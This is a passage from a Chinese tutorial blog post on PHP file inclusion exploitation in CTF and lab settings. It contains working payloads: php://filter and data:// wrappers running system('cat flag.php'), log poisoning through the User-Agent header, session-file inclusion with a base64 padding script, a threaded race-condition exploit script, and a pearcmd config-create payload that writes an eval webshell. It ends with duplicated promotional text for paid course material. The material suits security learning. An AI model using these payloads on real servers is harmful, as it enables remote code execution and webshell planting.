文件包含漏洞学习,面试总结+详细解答

| convert.quoted-printable-decode | Quoted-Printable 格式解码为字符串 |

如:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

编码转换过滤器

过滤器描述
convert.iconv.UTF-8.UTF-7把utf-8编码的数据源转为utf-7编码

还可以转其他编码,格式为convert.iconv.原编码.新编码

如:

/?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php

在这里插入图片描述

data协议

利用条件: allow_url_include=On

data协议用于传输数据,可以传递rce代码,语法如下:

data://text/plain, 代码

data://text/plain;base64, base64编码后的代码

一般用第一种,如果对代码有严格过滤可用第二种

如:

/?file=data://text/plain,<?php system("cat flag.php");?>

在这里插入图片描述

file协议

file协议类似于资源管理器读取文件,需要知道文件的绝对路径

用法:

file://路径

?file=file:///flag         #读取根目录下的flag

在这里插入图片描述

phar协议

phar协议是用来读取phar文件的,也可以读取zip等压缩文件,读取压缩文件中的一个子文件****可能需要配合文件上传来使用,用法:

phar://路径/zip文件名/子文件名,如:

?file=phar://flag.zip/flag.php

phar协议可以用绝对路径或相对路径

在这里插入图片描述

zip协议

跟phar协议差不多,但是只能使用绝对路径,且最后的/要换为%23 ,如:

?file=zip://flag.zip%23flag.php         #读取根目录下的flag.zip

日志包含

利用条件: 没有修改默认的日志存储路径,且日志文件可读

每访问一次网站,网站就把我们的访问的一些信息存入日志中,默认位置为

服务器默认位置
apache2/var/log/apache2/access.log
nignx/var/log/nignx/access.log

我在ubuntu虚拟机测试的过程,就遇到了日志文件不可读的这个小坑,要修改文件权限,然后设置了ACL,赋予了www-data用户组(运行网络服务器(如Apache、Nginx等)的进程所在的组),读取日志文件所在路径的权限才成功,acl命令:

setfacl -m u:www-data:r-x /var/log/apache2

查看access.log,看看哪里可以利用

在这里插入图片描述

可以看到,记录了很多信息,其中红框就是我们http头部的user-agent信息,我们利用bp修改UA信息为rce代码,再把它包含进来,就能成功执行

在这里插入图片描述

可以看到,rce代码成功执行,注意:不要使用双引号,可能会被添加\来转义(php配置里的一个魔术方法)

会话文件包含

利用条件: 1.ession.auto_start=1或代码中有session_start()来开启会话 2.会话文件存储在默认位置且可读

先学习最简单的可利用情况,:1.代码中有session_start(); 2.代码中往$_SESSION数组传入数据

session基础知识

会话(Session)是指在客户端(通常是浏览器)和服务器之间建立的一个交互期间,服务器可以存储特定用户或客户端的信息,并在用户与服务器之间的多个页面请求之间保持这些信息,默认情况下会话功能关闭,如

在这里插入图片描述

如果session.atuo_start=1,则不用session_start()也能自动开启会话功能

会话文件默认存储位置为: /var/lib/php/sessions ,PHPSESSID可以打开bp或者就浏览器F12来查看

在这里插入图片描述

在这里插入图片描述

可以看到,生成了session文件,文件名即为sess_PHPSSESSID,但是在默认配置session.upload_progress.cleanup = on的情况下,php会清理session文件内容,里面为空,不能直接包含,如果代码中往$_SESSION数组中传数据,就会有内容

稍微改一下代码

<?php
if(isset($\_GET['file'])&&isset($\_GET['name']))
{
   $file=$\_GET['file'];
   session\_start();
  $name=$\_GET['name'];
  $\_SESSION['name']=$name;
  
   include ($file);
}
else
{
     highlight\_file(\_\_FILE\_\_);
}
?>

构造payload /?file=/var/lib/php/sessions/sess_5dlu81pt877akai25rhilk2es4&name=hello

在这里插入图片描述

可以看到,文件中有了内容,是类似序列化字符串的数据,如果设置name的值为rce代码,包含进来就能利用,构造

/?file=/var/lib/php/sessions/sess_5dlu81pt877akai25rhilk2es4&name=<?php system('cat /flag');?>

在这里插入图片描述

在题目中,很少这么理想的情况,通常会 1.对会输入session的数据进行base64编码或其他处理 2 没有session_start()函数

base64编码

实验代码:study_session_64.php


<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<title></title>
<meta name="keywords" content="" />
<meta name="description" content="" />

<form action="study\_session\_b64.php" method="post">
名字: <input type="text" name="name">
<input type="submit" value="提交">
</form>

<?php 

if (isset($\_POST['name'])) {
    $\_SESSION['name'] = base64\_encode($\_POST['name']);
    if (!empty($\_SESSION['name'])) {
    echo "<div class='res'><h3>success!<br><br>name:".base64\_decode($\_SESSION['name']);
}


if (isset($\_GET['file'])) {
    include($\_GET['file']);
}
}
else
{
      highlight\_file(\_\_FILE\_\_);
}



?>

可以看到,输入session的数据会经过base64编码,显示数据时再解码,直接传入rce代码再包含,无法利用

那我们尝试用filer过滤器,base解码后包含,试试能不能成功

在这里插入图片描述

可以看到,结果中含有乱码,名字显示出来了,但rce代码没有执行成功,这是为什么?

原因是base64解码的问题,过滤器解码的是整个session文件的数据,不止被编码后的我们输入的name,此时session文件中存储的内容为:

name|s:28:"PD9waHAgc3lzdGVtKCdscycpOz8+" 

但base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途,也就是说,base64解码只认识:A-Z、a-z、0-9、+、/、=

很明显,在session文件数据中,用 | : “” 不符合base64编码,base64在解码时会跳过这些非法字符,将合法字符拼接在一起然后解码,所以真正解码的内容是

names28PD9waHAgc3lzdGVtKCdscycpOz8+

base64编码字符串的特点就是长度是4的整数倍,且编码后长度变长,为原来字符串的三分之四

这上面的被解码内容长度明显不是4的整数倍,过滤器整体解码就会解为乱码,所以要想办法让它变成4的整数倍,后面的就是正常编码长度肯定是4的倍数,不用管,所以关键在于names28,这个长度为7

前面讲过session存储的是类似序列化的数据,所以28表示的是字符串长度,如果让后面的编码内容长度为100(三位数都行),这里就会变为names100,长度为8,可以正常解码,虽然names100可能解出来是乱码,但是后面rce的代码可以正常解码然后执行

原本的rce代码编码后只有28位,所以要加上一点内容让name编码后整体长度够100,需要72位的base64编码,也就是说再加上长度54的任意字符即可,需要改变命令时,这样计算长度不太方便,可以写个脚本

import base64
import random
import string

def generate\_random\_string(length):
    characters = string.ascii_letters + string.digits
    return ''.join(random.choice(characters) for _ in range(length))


def get\_payload(tar):
    length=(100-len(base64.b64encode(tar.encode('utf-8'))))\*3//4
    print(length)
    random_str = generate_random_string(length)
    return random_str+tar

tar="<?php system('ls');?>"
payload=get_payload(tar)
print(payload)
print(len(base64.b64encode(payload.encode('utf-8'))))

这样就可以任意修改rce代码,再生成payload

在这里插入图片描述

在这里插入图片描述

可以看到,后面的rce代码成功执行,之后就是修改命令读取flag即可

详细的讲解可以看这篇大佬的文章,讲的很详细:

LFI 绕过 Session 包含限制 Getshell:

没有session_start

如果没有session_start,php就无法在代码中产生session,默认的auto_start一般为0,这时该如何利用?

这时我们可以手动构造文件上传,php在5.4之后,允许我们在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度)

session文件中就会有这些数据,如果PHP_SESSION_UPLOAD_PROGRESS的值是rce代码,包含进来后就可以执行,这涉及到一些php的配置,如

在这里插入图片描述

关键在于session.upload_progress.enabled,默认为On,就允许我们在文件上传的同时,post PHP_SESSION_UPLOAD_PROGRESS 来检查文件上传的进度,这里可以举一个php官方给的一个例子,稍作修改以便更好理解

form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP\_SESSION\_UPLOAD\_PROGRESS" value="123" /> !--上传了PHP_SESSION_UPLOAD_PROGRESS,值为123
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

结果:

在这里插入图片描述

$SESSION数组中写入了新的内容,健名为upload_pogress_123,值为关于文件上传的一些数据,很明显。健名就是upload_progress和我们post的PHP_SESSION_UPLOAD_PROGRESS的值拼接而来,如果PHP_SESSION_UPLOAD_PROGRESS为rce代码,被序列化后后存在session文件中,**又因为session.use_strict_mode=0,我们还可以自己手动修改PHPSESSID,**从而知道了session文件的名字

但还有一个问题,session.upload_progress.cleanup = on,这是默认配置,表明php会在文件上传结束时删除session文件,我们再包含也没用,所以需要条件竞争,赶在文件被删除前包含利用

摘抄了大佬的py脚本来利用

import io
import sys
import requests
import threading

sessid = '123456'

def POST(session):
    while True:
        f = io.BytesIO(b'a' \* 1024 \* 50)
        session.post(
            'http://192.168.10.122/my/include/study.php',
            data={"PHP\_SESSION\_UPLOAD\_PROGRESS":"<?php system('cat flag.php');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid},
        )

def READ(session):
    while True:
        response = session.get(f'http://192.168.10.122/my/include/study.php/?file=../../../../lib/php/sessions/sess\_{sessid}')
        # print('[+++]retry')
        #根据命令可能的结果来设置终止条件
        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

结果

在这里插入图片描述

实验成功,拿到flag

pearcmd包含

pearcmd通常指的是PEAR(PHP Extension and Application Repository)的命令行工具,它是用于管理和操作PEAR包的命令行界面。PEAR是PHP的一个包管理系统,允许开发者方便地共享、安装和管理PHP代码库。

利用条件:1.php配置文件中 register_argc_argv=on(默认为off) 2.pearcmd.php存储在默认位置 3.配置了pearcmd工具

pearcmd在docker环境默认安装,默认路径: /usr/local/lib/php/pearcmd.php , 实验环境我是自己安装的pearcmd 路径为:/usr/share/php/pearcmd.php

前置知识

pearcmd.php是命令行工具,实战中一般是在web服务器访问,那该如何调用pearcmd?,这时就需要 register_argc_argv=on(默认为off),这个配置开启时,通过web服务传递的参数可以被解析为命令行参数,存放在$_SERVER[‘argv’]中,这如:

在这里插入图片描述

可以看到,argc存放的是参数个数,argv数组存放了所有的参数,而且各个参数之间通过 + 分割,当然放$_GET数组的参数还是按 & 分割的,又因为在pearcmd的源码中有:

 public static function readPHPArgv()
    {
        global $argv;
        if (!is\_array($argv)) {
            if (!@is\_array($\_SERVER['argv'])) {
                if (!@is\_array($GLOBALS['HTTP\_SERVER\_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register\_argc\_argv=Off?)";
                    return PEAR::raiseError("Console\_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP\_SERVER\_VARS']['argv'];
            }
            return $\_SERVER['argv'];
        }
        return $argv;
    }

所以如果包含执行pearcmd.php,就会把argv的数组中的每个变量解析为pear命令的参数,而argv数组中参数我们可以控制,就可以通过web访问来调用pear,执行恶意的pear命令,通常可以利用config-create(最常用),install,download,这三个命令,通过实验学习这三个命令的用法

基本思路就是,想办法包含pearcmd.php,通过传入的url参数执行pear命令

实验学习

直接拿study.php来实验即可,包含成功后打印,$SERVER['‘argv’]

(1)config-create:创建自定义配置文件

用法:

pear config-create rootpath filename

参数描述
rootpath生成的配置文件路径,会被写入配置文件,必须以/开头
filename配置文件名

构造 payload,<>会被浏览器url编码,所以要在bp上构造

?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($\_GET[1]);?>+/var/www/html/shell.php

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

n/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-3PKIlFXM-1713073763138)]

  • 22
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值